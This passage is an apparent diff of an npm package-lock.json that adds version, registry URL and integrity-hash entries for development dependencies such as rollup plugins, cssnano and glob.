"fastq": "^1.6.0" + } + }, + "@rollup/plugin-commonjs": { + "version": "21.1.0", + "resolved": "https://registry.npmjs.org/@rollup/plugin-commonjs/-/plugin-commonjs-21.1.0.tgz", + "integrity": "sha512-6ZtHx3VHIp2ReNNDxHjuUml6ur+WcQ28N1yHgCQwsbNkQg2suhxGMDQGJOn/KuDxKtd1xuZP5xSTwBA4GQ8hbA==", + "dev": true, + "requires": { + "@rollup/pluginutils": "^3.1.0", + "commondir": "^1.0.1", + "estree-walker": "^2.0.1", + "glob": "^7.1.6", + "is-reference": "^1.2.1", + "magic-string": "^0.25.7", + "resolve": "^1.17.0" + } + }, + "@rollup/plugin-json": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/@rollup/plugin-json/-/plugin-json-4.1.0.tgz", + "integrity": "sha512-yfLbTdNS6amI/2OpmbiBoW12vngr5NW2jCJVZSBEz+H5KfUJZ2M7sDjk0U6GOOdCWFVScShte29o9NezJ53TPw==", + "dev": true, + "requires": { + "@rollup/pluginutils": "^3.0.8" + } + }, + "@rollup/plugin-node-resolve": { + "version": "13.3.0", + "resolved": "https://registry.npmjs.org/@rollup/plugin-node-resolve/-/plugin-node-resolve-13.3.0.tgz", + "integrity": "sha512-Lus8rbUo1eEcnS4yTFKLZrVumLPY+YayBdWXgFSHYhTT2iJbMhoaaBL3xl5NCdeRytErGr8tZ0L71BMRmnlwSw==", + "dev": true, + "requires": { + "@rollup/pluginutils": "^3.1.0", + "@types/resolve": "1.17.1", + "deepmerge": "^4.2.2", + "is-builtin-module": "^3.1.0", + "is-module": "^1.0.0", + "resolve": "^1.19.0" + } + }, + "@rollup/plugin-typescript": { + "version": "8.3.3", + "resolved": "https://registry.npmjs.org/@rollup/plugin-typescript/-/plugin-typescript-8.3.3.tgz", + "integrity": "sha512-55L9SyiYu3r/JtqdjhwcwaECXP7JeJ9h1Sg1VWRJKIutla2MdZQodTgcCNybXLMCnqpNLEhS2vGENww98L1npg==", + "dev": true, + "requires": { + "@rollup/pluginutils": "^3.1.0", + "resolve": "^1.17.0" + } + }, + "@rollup/pluginutils": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-3.1.0.tgz", + "integrity": "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==", + "dev": true, + "requires": { + "@types/estree": "0.0.39", + "estree-walker": "^1.0.1", + "picomatch": "^2.2.2" + }, + "dependencies": { + "estree-walker": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-1.0.1.tgz", + "integrity": "sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==", + "dev": true + } + } + }, + "@trysound/sax": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz", + "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==", + "dev": true + }, + "@types/estree": { + "version": "0.0.39", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.39.tgz", + "integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==", + "dev": true + }, + "@types/node": { + "version": "18.0.0", + "resolved": "https://registry.npmjs.org/@types/node/-/node-18.0.0.tgz", + "integrity": "sha512-cHlGmko4gWLVI27cGJntjs/Sj8th9aYwplmZFwmmgYQQvL5NUsgVJG7OddLvNfLqYS31KFN0s3qlaD9qCaxACA==", + "dev": true + }, + "@types/resolve": { + "version": "1.17.1", + "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.17.1.tgz", + "integrity": "sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, + "acorn": { + "version": "8.7.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.7.1.tgz", + "integrity": "sha512-Xx54uLJQZ19lKygFXOWsscKUbsBZW0CPykPhVQdhIeIwrbPmJzqeASDInc8nKBnp/JT6igTs82qPXz069H8I/A==", + "dev": true + }, + "ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "anymatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", + "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", + "dev": true, + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "array-union": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-3.0.1.tgz", + "integrity": "sha512-1OvF9IbWwaeiM9VhzYXVQacMibxpXOMYVNIvMtKRyX9SImBXpKcFr8XvFDeEslCyuH/t6KRt7HEO94AlP8Iatw==", + "dev": true + }, + "balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true + }, + "boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", + "dev": true + }, + "brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "browserslist": { + "version": "4.21.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.1.tgz", + "integrity": "sha512-Nq8MFCSrnJXSc88yliwlzQe3qNe3VntIjhsArW9IJOEPSHNx23FalwApUVbzAWABLhYJJ7y8AynWI/XM8OdfjQ==", + "dev": true, + "requires": { + "caniuse-lite": "^1.0.30001359", + "electron-to-chromium": "^1.4.172", + "node-releases": "^2.0.5", + "update-browserslist-db": "^1.0.4" + } + }, + "buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true + }, + "builtin-modules": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-3.3.0.tgz", + "integrity": "sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==", + "dev": true + }, + "caniuse-api": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz", + "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", + "dev": true, + "requires": { + "browserslist": "^4.0.0", + "caniuse-lite": "^1.0.0", + "lodash.memoize": "^4.1.2", + "lodash.uniq": "^4.5.0" + } + }, + "caniuse-lite": { + "version": "1.0.30001361", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001361.tgz", + "integrity": "sha512-ybhCrjNtkFji1/Wto6SSJKkWk6kZgVQsDq5QI83SafsF6FXv2JB4df9eEdH6g8sdGgqTXrFLjAxqBGgYoU3azQ==", + "dev": true + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "requires": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "fsevents": "~2.3.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + } + }, + "cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dev": true, + "requires": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "requires": { + "color-name": "1.1.3" + } + }, + "color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "colord": { + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.2.tgz", + "integrity": "sha512-Uqbg+J445nc1TKn4FoDPS6ZZqAvEDnwrH42yo8B40JSOgSLxMZ/gt3h4nmCtPLQeXhjJJkqBx7SCY35WnIixaQ==", + "dev": true + }, + "commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true + }, + "commondir": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==", + "dev": true + }, + "concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true + }, + "css-declaration-sorter": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.3.0.tgz", + "integrity": "sha512-OGT677UGHJTAVMRhPO+HJ4oKln3wkBTwtDFH0ojbqm+MJm6xuDMHp2nkhh/ThaBqq20IbraBQSWKfSLNHQO9Og==", + "dev": true, + "requires": {} + }, + "css-select": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz", + "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", + "dev": true, + "requires": { + "boolbase": "^1.0.0", + "css-what": "^6.0.1", + "domhandler": "^4.3.1", + "domutils": "^2.8.0", + "nth-check": "^2.0.1" + } + }, + "css-tree": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz", + "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "dev": true, + "requires": { + "mdn-data": "2.0.14", + "source-map": "^0.6.1" + } + }, + "css-what": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz", + "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", + "dev": true + }, + "cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true + }, + "cssnano": { + "version": "5.1.12", + "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.12.tgz", + "integrity": "sha512-TgvArbEZu0lk/dvg2ja+B7kYoD7BBCmn3+k58xD0qjrGHsFzXY/wKTo9M5egcUCabPol05e/PVoIu79s2JN4WQ==", + "dev": true, + "requires": { + "cssnano-preset-default": "^5.2.12", + "lilconfig": "^2.0.3", + "yaml": "^1.10.2" + } + }, + "cssnano-preset-default": { + "version": "5.2.12", + "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.12.tgz", + "integrity": "sha512-OyCBTZi+PXgylz9HAA5kHyoYhfGcYdwFmyaJzWnzxuGRtnMw/kR6ilW9XzlzlRAtB6PLT/r+prYgkef7hngFew==", + "dev": true, + "requires": { + "css-declaration-sorter": "^6.3.0", + "cssnano-utils": "^3.1.0", + "postcss-calc": "^8.2.3", + "postcss-colormin": "^5.3.0", + "postcss-convert-values": "^5.1.2", + "postcss-discard-comments": "^5.1.2", + "postcss-discard-duplicates": "^5.1.0", + "postcss-discard-empty": "^5.1.1", + "postcss-discard-overridden": "^5.1.0", + "postcss-merge-longhand": "^5.1.6", + "postcss-merge-rules": "^5.1.2", + "postcss-minify-font-values": "^5.1.0", + "postcss-minify-gradients": "^5.1.1", + "postcss-minify-params": "^5.1.3", + "postcss-minify-selectors": "^5.2.1", + "postcss-normalize-charset": "^5.1.0", + "postcss-normalize-display-values": "^5.1.0", + "postcss-normalize-positions": "^5.1.1", + "postcss-normalize-repeat-style": "^5.1.1", + "postcss-normalize-string": "^5.1.0", + "postcss-normalize-timing-functions": "^5.1.0", + "postcss-normalize-unicode": "^5.1.0", + "postcss-normalize-url": "^5.1.0", + "postcss-normalize-whitespace": "^5.1.1", + "postcss-ordered-values": "^5.1.3", + "postcss-reduce-initial": "^5.1.0", + "postcss-reduce-transforms": "^5.1.0", + "postcss-svgo": "^5.1.0", + "postcss-unique-selectors": "^5.1.1" + } + }, + "cssnano-utils": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz", + "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==", + "dev": true, + "requires": {} + }, + "csso": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/csso/-/csso-4.2.0.tgz", + "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==", + "dev": true, + "requires": { + "css-tree": "^1.1.2" + } + }, + "deepmerge": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", + "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", + "dev": true + }, + "dependency-graph": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/dependency-graph/-/dependency-graph-0.11.0.tgz", + "integrity": "sha512-JeMq7fEshyepOWDfcfHK06N3MhyPhz++vtqWhMT5O9A3K42rdsEDpfdVqjaqaAhsw6a+ZqeDvQVtD0hFHQWrzg==", + "dev": true + }, + "dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, + "requires": { + "path-type": "^4.0.0" + } + }, + "dom-serializer": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", + "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "dev": true, + "requires": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + } + }, + "domelementtype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", + "dev": true + }, + "domhandler": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "dev": true, + "requires": { + "domelementtype": "^2.2.0" + } + }, + "domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "dev": true, + "requires": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + } + }, + "electron-to-chromium": { + "version": "1.4.173", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.173.tgz", + "integrity": "sha512-Qo3LnVW6JRNhD32viSdPebxKI7K+3WeBDjU1+Q2yZS83zAh8C2LyPpzTimlciv6U74KpY9n/0ESAhUByRke0jw==", + "dev": true + }, + "emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "entities": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "dev": true + }, + "escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true + }, + "estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", + "dev": true + }, + "fast-glob": { + "version": "3.2.11", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.11.tgz", + "integrity": "sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew==", + "dev": true, + "requires": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + } + }, + "fastq": { + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", + "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", + "dev": true, + "requires": { + "reusify": "^1.0.4" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dev": true, + "requires": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + } + }, + "fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true + }, + "fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "optional": true + }, + "function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", + "dev": true + }, + "get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true + }, + "get-stdin": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-9.0.0.tgz", + "integrity": "sha512-dVKBjfWisLAicarI2Sf+JuBE/DghV4UzNAVe9yhEJuzeREd3JhOTE9cUaJTeSa77fsbQUK3pcOpJfM59+VKZaA==", + "dev": true + }, + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "requires": { + "is-glob": "^4.0.1" + } + }, + "globby": { + "version": "12.2.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-12.2.0.tgz", + "integrity": "sha512-wiSuFQLZ+urS9x2gGPl1H5drc5twabmm4m2gTR27XDFyjUHJUNsS8o/2aKyIF6IoBaR630atdher0XJ5g6OMmA==", + "dev": true, + "requires": { + "array-union": "^3.0.1", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.7", + "ignore": "^5.1.9", + "merge2": "^1.4.1", + "slash": "^4.0.0" + } + }, + "graceful-fs": { + "version": "4.2.10", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.10.tgz", + "integrity": "sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==", + "dev": true + }, + "has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "dev": true, + "requires": { + "function-bind": "^1.1.1" + } + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true + }, + "ignore": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz", + "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==", + "dev": true + }, + "inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dev": true, + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "requires": { + "binary-extensions": "^2.0.0" + } + }, + "is-builtin-module": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-3.1.0.tgz", + 